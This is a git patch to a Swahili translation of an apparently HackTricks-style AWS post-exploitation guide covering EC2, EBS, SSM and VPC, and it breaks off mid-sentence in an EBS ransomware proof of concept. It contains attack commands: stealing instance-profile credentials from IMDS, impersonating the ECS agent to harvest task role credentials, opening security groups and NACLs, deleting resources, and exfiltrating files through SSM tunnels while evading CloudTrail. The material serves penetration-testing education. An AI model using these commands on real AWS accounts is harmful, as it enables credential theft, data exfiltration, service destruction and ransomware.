From f1a049a46b01eb90442b141a9c54473ab4a6cf5c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 15:00:07 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 139 +++++++++--------- 1 file changed, 72 insertions(+), 67 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 51b66066b..c13df154f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -Kwa taarifa zaidi angalia: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,18 +12,17 @@ Kwa taarifa zaidi angalia: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **inakokopia trafiki ya kuingilio na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances wenyewe. Trafiki iliyokopiwa kawaida hutumwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji.\ -Mshambuliaji anaweza kutumia hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bila hitaji la kusakinisha chochote kwenye instances hizo wenyewe. Trafiki iliyorudiwa kwa kawaida itatumwa kwa kitu kama network intrusion detection system (IDS) kwa ajili ya uchambuzi na ufuatiliaji. Mshambuliaji anaweza kutumia hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake: -Kwa taarifa zaidi angalia ukurasa huu: +Kwa maelezo zaidi angalia ukurasa huu: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Nakili Instance Inayotumika -Instances kawaida huwa na aina fulani ya taarifa nyeti. Kuna njia mbalimbali za kuingia ndani (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuona nini inahifadhiwa ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**: +Instances kawaida huwa zina aina fulani ya taarifa nyeti. Kuna njia mbalimbali za kuingia ndani (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kukagua kile kilicho ndani yake ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**: ```shell # List instances aws ec2 describe-images @@ -49,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, ambayo kwa kawaida zitakuwa na **sensitive information**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\ -Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na fanya vitendo vifuatavyo au tu **mount it in an instance** ndani ya account: +**Snapshots are backups of volumes**, ambazo kawaida zinaweza kuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\ +Ikiwa utapata a **volume without a snapshot** unaweza: **Create a snapshot** na kufanya hatua zifuatazo au tu **mount it in an instance** ndani ya account: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +57,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Export EC2 AMI moja kwa moja kwenda S3 ukitumia `CreateStoreImageTask` ili kupata raw disk image bila snapshot sharing. Hii inaruhusu full offline forensics au data theft huku ikiacha networking ya instance bila kuguswa. +Hamisha EC2 AMI moja kwa moja kwa S3 ukitumia `CreateStoreImageTask` ili kupata raw disk image bila snapshot sharing. Hii inaruhusu forensics kamili offline au data theft huku ikiacha networking ya instance bila kuathirika. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +65,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Attach io1/io2 Multi-Attach volume kwenye instance ya pili na mount it read-only ili kuhamisha live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach enabled ndani ya AZ ileile. +Unganisha io1/io2 Multi-Attach volume kwenye instance ya pili na uii-mount kwa read-only ili kunyonya live data bila snapshots. Inafaa pale volume ya mwathiriwa tayari ikiwa imewezeshwa Multi-Attach ndani ya AZ ile ile. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Create EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys kufikia private instances kupitia managed tunnel. Hutoa njia za haraka za lateral movement bila kufungua public ports. +Unda EC2 Instance Connect Endpoint, ruhusu ingress, na ingiza ephemeral SSH keys ili kufikia private instances kupitia managed tunnel. Hii inatoa njia za haraka za lateral movement bila kufungua public ports. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Hamisha secondary private IP ya ENI ya victim kwenda ENI inayodhibitiwa na attacker ili kuiga trusted hosts that are allowlisted by IP. Inaruhusu bypassing internal ACLs or SG rules zilizowekwa kwa specific addresses. +Hamisha secondary private IP ya ENI ya mwathiriwa kwenda ENI inayodhibitiwa na attacker ili kuiga hosts zilizoorodheshwa kwa IP. Hii inaruhusu kupita internal ACLs au SG rules zilizobongwa kwa anwani maalum. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +89,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate Elastic IP kutoka kwa victim instance kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazoonekana kuja kutoka trusted public IPs. +Reassociate Elastic IP kutoka kwa instance ya mwathiriwa kwenda kwa attacker ili kukamata inbound traffic au kuanzisha outbound connections ambazo zinaonekana zinatoka kwa trusted public IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +97,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Ikiwa security group rule inareference customer-managed prefix list, kuongeza attacker CIDRs kwenye list huipanua silently access kwenye kila dependent SG rule bila kurekebisha SG yenyewe. +Ikiwa rule ya security group inarejea customer-managed prefix list, kuongeza attacker CIDRs kwenye listi hiyo kunapanua kwa utulivu ufikivu kwa kila rule ya SG inayotegemea bila kubadilisha SG yenyewe. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +105,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Create gateway au interface VPC endpoints ili kupata tena outbound access kutoka isolated subnets. Leveraging AWS-managed private links inavuka missing IGW/NAT controls kwa data exfiltration. +Unda gateway au interface VPC endpoints ili kupata tena outbound access kutoka subnets zilizotengwa. Kutumia AWS-managed private links kunavuka controls za IGW/NAT zisizokuwepo kwa ajili ya data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +113,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Attacker mwenye ruhusa ya ec2:AuthorizeSecurityGroupIngress anaweza kuongeza inbound rules kwenye security groups (kwa mfano, allowing tcp:80 from 0.0.0.0/0), hivyo kufichua internal services kwenye public Internet au kwa networks zisizoidhinishwa. +Mshambuliaji mwenye ruhusa ya `ec2:AuthorizeSecurityGroupIngress` anaweza kuongeza inbound rules kwenye security groups (kwa mfano, kuruhusu tcp:80 kutoka 0.0.0.0/0), hivyo kufichua huduma za ndani kwa Internet ya umma au kwa mitandao isiyoruhusiwa. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Mshambulizi mwenye ruhusa ya ec2:ReplaceNetworkAclEntry (au inayofanana) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuzifanya ziwe zenye ruhusa nyingi — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — kuwekea wazi anuwai nzima ya subnet kwa Internet au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinatumika per-instance, NACLs zinatumika kwa ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na athari kubwa zaidi kwa kuwezesha ufikiaji kwa hosts wengi zaidi. +Mdukuzi mwenye ruhusa za ec2:ReplaceNetworkAclEntry (au sawa) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuzifanya ziwe za kuruhusu sana — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — na hivyo kuonyesha safu nzima ya subnet kwa Internet au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinatumika per-instance, NACLs zinatumika kwa ngazi ya subnet, kwa hivyo kubadilisha NACL yenye vizuizi kunaweza kuwa na blast radius kubwa kwa kuwezesha upatikanaji kwa hosts wengi zaidi. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +130,7 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Mshambulizi mwenye idhini za ec2:Delete* na iam:Remove* anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes au attachments, security groups au rules, ENIs/network endpoints, route tables, gateways, au managed endpoints. Hii inaweza kusababisha kusitishwa kwa huduma mara moja, kupoteza data, na kupoteza ushahidi wa forensics. +Mshambuliaji mwenye ruhusa za ec2:Delete* na iam:Remove* anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Hii inaweza kusababisha kukatika kwa huduma mara moja, kupoteza data, na kupoteza ushahidi wa forensics. Mfano mmoja ni kufuta security group: @@ -140,7 +139,7 @@ aws ec2 delete-security-group \ ### VPC Flow Logs Cross-Account Exfiltration -Elekeza VPC Flow Logs kwenye S3 bucket inayodhibitiwa na mshambulizi ili kukusanya metadata ya mtandao (source/destination, ports) kwa mfululizo nje ya akaunti ya mwathiri kwa ajili ya uchunguzi wa muda mrefu. +Elekeza VPC Flow Logs kwenye S3 bucket inayodhibitiwa na mshambuliaji ili kukusanya kwa mfululizo metadata ya mtandao (source/destination, ports) nje ya akaunti ya mwathiriwa kwa ajili ya reconnaissance ya muda mrefu. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,7 +149,7 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Hata ukifunga EC2 ili trafiki isiweze kutoka, bado inaweza **exfil via DNS**. +Hata kama unafunga EC2 ili hakuna trafiki itaondoka, bado inaweza **exfil via DNS**. - **VPC Flow Logs hazitarekodi hili**. - Huna ufikiaji wa AWS DNS logs. @@ -160,58 +159,62 @@ Hata ukifunga EC2 ili trafiki isiweze kutoka, bado inaweza **exfil via DNS**. #### Exfiltration via API calls -Mshambulizi anaweza kuita API endpoints za akaunti anayodhibiti. Cloudtrail itarekodi miito hii na mshambulizi ataweza kuona exfiltrated data katika Cloudtrail logs. +Mshambuliaji anaweza kuita API endpoints za akaunti anazodhibiti. CloudTrail itarekodi miito hii na mshambuliaji ataweza kuona exfiltrate data kwenye CloudTrail logs. -### Open Security Group +### Fungua security group -Unaweza kupata ufikiaji zaidi wa huduma za mtandao kwa kufungua bandari kama ifuatavyo: +Unaweza kupata upatikanaji zaidi wa huduma za mtandao kwa kufungua ports kama ifuatavyo: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha instances za ECS kisha kuiba data za instances za ECS. +Inawezekana kuendesha EC2 instance na kui-sajili ili itumike kuendesha ECS instances kisha kuiba data za instances za ECS. For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -Kudukuliwa ndani ya task yoyote ya ECS inayotokea kwenye EC2 container instance kwa kawaida inatosha ku-pivot kwenda kwenye host role na IAM roles zinazohusiana na tasks zote nyingine kwenye node hiyo. Kwa sababu hakuna task isolation kwa ECS-on-EC2, kila task inaweza kuulizia EC2 Instance Metadata Service (IMDS) kwa default, kuiba container instance profile, kisha kuzungumza protocol ile ile ya WebSocket ambayo ECS agent inatumia kwenda kwenye control plane (primitive ya **ECScape**) ili kuomba credentials za kila task inayopangwa sasa kwenye host hiyo. Latacora ilidokumeta workflow hii katika utafiti wao wa [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), ambayo muhtasari wa kimkakati ufuatao unaiweka kwa ufupi. +Katika ECS inayotumia EC2 launch type, control plane inachukua kila task role na kuituma temporary credentials kwa ECS agent kupitia Agent Communication Service (ACS) WebSocket channel. Agent kisha inawahudumia containers ile credentials kupitia task metadata endpoint (169.254.170.2). Utafiti wa ECScape unaonyesha kwamba ikiwa container inaweza kufikia IMDS na kuiba **instance profile**, inaweza kujifanya kuwa agent kupitia ACS na kupokea **every task role credential** kwenye host hiyo, ikiwa ni pamoja na **task execution role** credentials ambazo hazioneshwi kupitia metadata endpoint. #### Attack chain -1. **Chukua the instance profile kutoka ndani ya container.** Kubali IMDSv2 inahitajika, hivyo omba tokeni kisha pokea profile. +1. **Steal the container instance role from IMDS.** Ufikiaji wa IMDS unahitajika kupata host role inayotumika na ECS agent. ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Tumia container instance role kuiga ECS agent.** Kwa credentials hizo unaweza kuzungumza kwenye channel isiyoandikwa ya WebSocket ambayo ECS agent inatumia; control plane inakuamini kama agent halisi na inakuletea **all task IAM credentials** kwa process yako. Sasa unaweza kuendesha tasks zenye privileges za juu kwa loka, kutoa secrets za environment za task, au kusasisha services/tasks ili kuredeploy workloads ambazo unaweza kuchunguza kikamilifu. +2. **Discover the ACS poll endpoint and required identifiers.** Ukitumia instance role credentials, ita `ecs:DiscoverPollEndpoint` kupata ACS endpoint na kukusanya vitambulisho kama cluster ARN na container instance ARN. Cluster ARN inaonyeshwa kupitia task metadata (169.254.170.2/v4/), wakati container instance ARN inaweza kupatikana kupitia agent introspection API au (ikiwa inaruhusiwa) `ecs:ListContainerInstances`. +3. **Impersonate the ECS agent over ACS.** Anzisha SigV4-signed WebSocket kwa poll endpoint na jumuisha `sendCredentials=true`. ECS inakubali muunganisho kama session halali ya agent na inaanza kusambaza `IamRoleCredentials` messages kwa **all** tasks kwenye instance. Hii ni pamoja na task execution role credentials, ambazo zinaweza kufungua uwezo wa ECR pulls, Secrets Manager retrievals, au CloudWatch Logs access. + +**Find the PoC in ** #### IMDS reachability with IMDSv2 + hop limit 1 -Kuweka IMDSv2 na `HttpTokens=required` na `HttpPutResponseHopLimit=1` kunazuia tu tasks zinazotafuta nyuma ya hop ya ziada (Docker bridge). Mode nyingine za mitandao zinabaki ndani ya hop moja kutoka kwa Nitro controller na bado zinapokea majibu: +Kuweka IMDSv2 na `HttpTokens=required` na `HttpPutResponseHopLimit=1` kunazuia tu tasks ambazo zinaishi nyuma ya hop ya ziada (Docker bridge). Modes nyingine za networking zinaendelea kuwa umbali wa hop mmoja kutoka kwa Nitro controller na bado zinapata majibu: -| ECS network mode | IMDS reachable? | Reason | +| ECS network mode | IMDS inafikika? | Sababu | | --- | --- | --- | -| `awsvpc` | ✅ | Kila task inapewa ENI yake mwenyewe ambayo bado iko umbali wa hop moja kutoka IMDS, hivyo tokeni na majibu ya metadata yanawasili kwa mafanikio. | -| `host` | ✅ | Tasks hushiriki host namespace, hivyo zinaona umbali wa hop ule ule kama EC2 instance. | -| `bridge` | ❌ | Majibu yanakufa kwenye Docker bridge kwa sababu hop ya ziada inamaliza kikomo cha hop. | +| `awsvpc` | ✅ | Kila task inapata ENI yake mwenyewe ambayo bado iko umbali wa hop mmoja kutoka IMDS, hivyo tokens na majibu ya metadata yanawasili kwa mafanikio. | +| `host` | ✅ | Tasks zinashirikiana namespace ya host, hivyo zinaona umbali sawa wa hop kama EC2 instance. | +| `bridge` | ❌ | Majibu yanakufa kwenye Docker bridge kwa sababu hop ya ziada inaisha hop limit. | -Kwa hivyo, **usidhani chochote kwamba hop limit 1 inalinda awsvpc au host-mode workloads**—daima jaribu kutoka ndani ya containers zako. +Kwa hivyo, **usizumie kwamba hop limit 1 inalinda awsvpc au host-mode workloads**—daima jaribu kutoka ndani ya containers zako. #### Detecting IMDS blocks per network mode -- **awsvpc tasks:** Security groups, NACLs, au marekebisho ya routing hayawezi kuzuia link-local address 169.254.169.254 kwa sababu Nitro inaingiza kwenye host. Angalia `/etc/ecs/ecs.config` kwa `ECS_AWSVPC_BLOCK_IMDS=true`. Ikiwa flag haipo (default) unaweza curl IMDS moja kwa moja kutoka kwenye task. Ikiwa imewekwa, pivot kwa host/agent namespace ili kuirudisha au endesha tooling yako nje ya awsvpc. +- **awsvpc tasks:** Security groups, NACLs, au mabadiliko ya routing hayatoweza kuzuia address ya link-local 169.254.169.254 kwa sababu Nitro inaiingiza kwenye host. Angalia `/etc/ecs/ecs.config` kwa `ECS_AWSVPC_BLOCK_IMDS=true`. Ikiwa flag haipo (default) unaweza curl IMDS moja kwa moja kutoka kwa task. Ikiwa imewekwa, ingia ndani ya namespace ya host/agent ili kuibadilisha au endesha tooling yako nje ya awsvpc. -- **bridge mode:** Wakati maombi ya metadata yanashindwa ingawa hop limit 1 imewekwa, defenders labda waliingiza rule ya `DOCKER-USER` ya DROP kama `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Kuorodhesha `iptables -S DOCKER-USER` kunaifunua, na access ya root inakuwezesha kufuta au kurekebisha order ya rule kabla ya kuulizia IMDS. +- **bridge mode:** Wakati requests za metadata zinashindwa hata kama hop limit 1 imewekwa, watetezi huenda waliweka rule ya `DOCKER-USER` drop kama `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Kuingiza `iptables -S DOCKER-USER` kunaonyesha hilo, na uwezo wa root unakuwezesha kufuta au kuorodhesha tena rule kabla ya kujaribu IMDS. -- **host mode:** Angalia agent configuration kwa `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Mipangilio hiyo inatoa task IAM roles kabisa, hivyo lazima uiamishe tena, uhamishe kwenda awsvpc tasks, au uibe credentials kupitia process nyingine kwenye host. Wakati thamani ni `true` (default), kila process ya host-mode—ikiwa ni pamoja na containers zilizodukuliwa—inaweza kufikia IMDS isipokuwa kama kuna eBPF/cgroup filters maalum zinazolenga `169.254.169.254`; tazama programu za tc/eBPF au iptables rules zinazotaja address hiyo. +- **host mode:** Angalia agent configuration kwa `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Setting hiyo inafuta kabisa task IAM roles, hivyo lazima either ui-rudishe, uhame kwenye awsvpc tasks, au upore credentials kwa njia nyingine kwenye host. Wakati value ni `true` (default), kila process ya host—pamoja na containers zilizoharibiwa—inaweza kufikia IMDS isipokuwa kuna eBPF/cgroup filters maalum zinazolenga `169.254.169.254`; angalia programu za tc/eBPF au iptables rules zinazo-refer address hiyo. -Latacora pia ilitoa [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) unayoweza kuiweka ndani ya akaunti ya target ili kuorodhesha ni network modes gani bado zinafunua metadata na kupanga hatua yako inayofuata ipasavyo. +Latacora hata walitoa [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) ambayo unaweza kuiweka kwenye target account kuorodhesha ni network modes gani bado zinaonyesha metadata na kupanga hatua yako inayofuata ipasavyo. -Mara kuelewa ni modes gani zinafunua IMDS unaweza kupanga njia yako ya post-exploitation: lengwa task yoyote ya ECS, omba instance profile, iga agent, na vuna role za kazi nyingine zote kwa movement ya lateral au persistence ndani ya cluster. +Mara utaelewa ni modes gani zinaonyesha IMDS unaweza kupanga njia yako ya post-exploitation: lenga task yoyote ya ECS, omba instance profile, jifanye agent, na vunja kila task role nyingine kwa kusogea upande au kudumu ndani ya cluster. ### Remove VPC flow logs ```bash @@ -223,64 +226,64 @@ Ruhusa zinazohitajika: - `ssm:StartSession` -Mbali na command execution, SSM inaruhusu traffic tunneling ambayo inaweza kutumika vibaya ili pivot kutoka kwa EC2 instances ambazo hazina network access kwa sababu ya Security Groups au NACLs. -Moja ya matukio ambapo hili linakuwa muhimu ni pivoting kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) kwenda private EKS cluster. +Mbali na command execution, SSM inaruhusu traffic tunneling ambayo inaweza kutumiwa ku-pivot kutoka kwa EC2 instances ambazo hazina network access kwa sababu ya Security Groups au NACLs. +Mojawapo ya matukio ambapo hili ni muhimu ni pivoting kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) kwenda kwenye private EKS cluster. -> Ili kuanza session unahitaji SessionManagerPlugin kusakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Ili kuanza session unahitaji SessionManagerPlugin iwe imewekwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. Sakinisha SessionManagerPlugin kwenye mashine yako +1. Sakinisha SessionManagerPlugin kwenye kompyuta yako 2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Pata vyeti vya muda vya Bastion EC2 za AWS kwa kutumia script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Hamisha vyeti kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profile `[bastion-ec2]` +3. Pata Bastion EC2 AWS temporary credentials kwa kutumia script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Hamisha credentials kwenye mashine yako kwenye faili `$HOME/.aws/credentials` kama `[bastion-ec2]` profile 5. Ingia kwenye EKS kama Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Sasisha kipengee `server` kwenye faili `$HOME/.kube/config` ili kiielekeze kwa `https://localhost` -7. Unda SSM tunnel kama ifuatavyo: +6. Sasisha uwanja wa `server` katika faili `$HOME/.kube/config` ili uelekeze kwa `https://localhost` +7. Tengeneza tuneli ya SSM kama ifuatavyo: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Trafiki kutoka kwa chombo `kubectl` sasa imepelekwa kupitia tuneli ya SSM, kupitia Bastion EC2, na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kuendesha: +8. Trafiki kutoka kwa zana ya `kubectl` sasa inapitishwa kupitia tuneli ya SSM kupitia Bastion EC2 na unaweza kufikia private EKS cluster kutoka kwenye mashine yako mwenyewe kwa kuendesha: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Kumbuka kuwa muunganisho wa SSL hayatofanikiwa isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa nayo katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitia tuneli salama ya AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM. +Kumbuka kwamba muunganisho wa SSL utakosa isipokuwa ukiteua bendera `--insecure-skip-tls-verify ` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitia kupitia tuneli salama ya AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM. -Mwisho, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domains na ports yoyote ili ku-pivot kwenda service nyingine yoyote ya AWS au custom application. +Mwishowe, mbinu hii si maalum kwa kushambulia klasta za EKS za kibinafsi. Unaweza kuweka domains na ports zozote ili pivot kwa huduma nyingine yoyote ya AWS au custom application. --- -#### Forward ya Port Haraka: Local ↔️ Remote (AWS-StartPortForwardingSession) +#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Ikiwa unahitaji tu ku-forward **port moja ya TCP kutoka EC2 instance hadi localhost yako** unaweza kutumia `AWS-StartPortForwardingSession` SSM document (hakuna parameter ya remote host inahitajika): +Ikiwa unahitaji tu kupitisha **TCP port moja kutoka EC2 instance hadi kompyuta yako ya ndani** unaweza kutumia dokumenti ya SSM `AWS-StartPortForwardingSession` (hakuna remote host parameter inahitajika): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Amri inaunda tunnel yenye mwelekeo wa pande zote kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria yoyote za inbound za Security-Group**. +The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. Matumizi ya kawaida: * **File exfiltration** -1. Kwenye instance, anzisha HTTP server wa muda mfupi unaoonyesha direktori unayotaka exfiltrate: +1. Kwenye instance anzisha HTTP server ya haraka inayoonyesha saraka unayotaka kutoa nje: ```bash python3 -m http.server 8000 ``` -2. Kutoka kwenye workstation yako, pakua faili kupitia SSM tunnel: +2. Kutoka kwenye workstation yako pakua faili kupitia tunnel ya SSM: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Kupata maombi ya wavuti ya ndani (mfano Nessus)** +* **Kufikia web applications za ndani (mf. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -288,7 +291,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Kidokezo: Compress na encrypt ushahidi kabla ya ku-exfiltrating ili CloudTrail isirekodi maudhui wazi (clear-text): +Kidokezo: Compress and encrypt ushahidi kabla ya exfiltrating ili CloudTrail isiandike clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -297,9 +300,9 @@ Kidokezo: Compress na encrypt ushahidi kabla ya ku-exfiltrating ili CloudTrail i ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Tafuta taarifa nyeti katika AMIs za umma na za kibinafsi +### Tafuta taarifa nyeti katika AMIs za umma na za binafsi -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inautomatisha mchakato wa kuanzisha instances kutoka kwa AMIs lengwa, mounting volumes zao, na kuchunguza kwa ajili ya potential secrets au data nyeti. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au binafsi**. Inatautomati mchakato wa kuanzisha instances kutoka kwa AMIs lengwa, mounting volumes zao, na kuchunguza kwa ajili ya secrets au data nyeti zinazowezekana. ### Shiriki EBS Snapshot ```bash @@ -307,9 +310,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Proof of concept inayofanana na maonyesho ya Ransomware yaliyotolewa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS. +Thibitisho la dhana linalofanana na maonyesho ya Ransomware yaliyotajwa katika S3 post-exploitation notes. KMS inapaswa kubadilishwa jina kuwa RMS (Ransomware Management Service) kutokana na urahisi wake wa ku-encrypt huduma mbalimbali za AWS. -Kwanza, kutoka kwenye akaunti ya AWS ya 'attacker', tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutamruhusu AWS kusimamia data ya ufunguo, lakini katika hali halisi mhalifu angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu Principal yeyote wa akaunti ya AWS kutumia ufunguo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote 